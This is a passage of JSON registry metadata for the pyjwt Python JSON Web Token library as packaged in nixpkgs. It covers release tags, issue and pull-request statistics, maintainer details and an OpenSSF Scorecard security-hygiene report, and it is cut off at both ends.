ub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.255Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python311Packages.pyjwt?channel=23.11\u0026repository_url=https://channels.nixos.org/nixos-23.11","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python311Packages.pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python311Packages.pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python311Packages.pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python311Packages.pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python311Packages.pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python311Packages.pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python311Packages.pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python311Packages.pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python311Packages.pyjwt/codemeta","maintainers":[{"uuid":"prikhi","login":null,"name":"Pavan Rikhi","email":"pavan.rikhi@gmail.com","url":"https://github.com/prikhi","packages_count":31,"html_url":null,"role":null,"created_at":"2026-03-08T11:42:43.394Z","updated_at":"2026-03-08T11:42:43.394Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/maintainers/prikhi/packages"}],"registry":{"name":"nixpkgs-23.11","url":"https://channels.nixos.org/nixos-23.11","ecosystem":"nixpkgs","default":false,"packages_count":108178,"maintainers_count":2997,"namespaces_count":0,"keywords_count":569,"github":"NixOS","metadata":{"funded_packages_count":229},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.577Z","updated_at":"2026-06-10T05:16:53.702Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/namespaces"}},{"id":13079213,"name":"python311Packages.pyjwt","ecosystem":"nixpkgs","description":"JSON Web Token implementation in Python","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-02-01T17:41:27.173Z","latest_release_published_at":"2026-02-01T17:41:27.173Z","latest_release_number":"2.9.0","last_synced_at":"2026-03-08T05:23:17.154Z","created_at":"2026-02-01T17:41:25.376Z","updated_at":"2026-05-29T04:00:36.281Z","registry_url":"https://search.nixos.org/packages?channel=24.11\u0026query=python311Packages.pyjwt","install_command":"nix-env -iA nixpkgs.python311Packages.pyjwt","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-24.11/pkgs/development/python-modules/pyjwt/default.nix#L59","metadata":{"nix_attribute":"python3.11-pyjwt-2.9.0","position":"pkgs/development/python-modules/pyjwt/default.nix:59","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin","i686-cygwin","x86_64-cygwin","aarch64-windows","x86_64-windows","i686-windows","i686-freebsd","x86_64-freebsd"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","doc","out"],"upstream_ecosystem":"pypi","upstream_name":"pyjwt","upstream_purl":"pkg:pypi/pyjwt"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/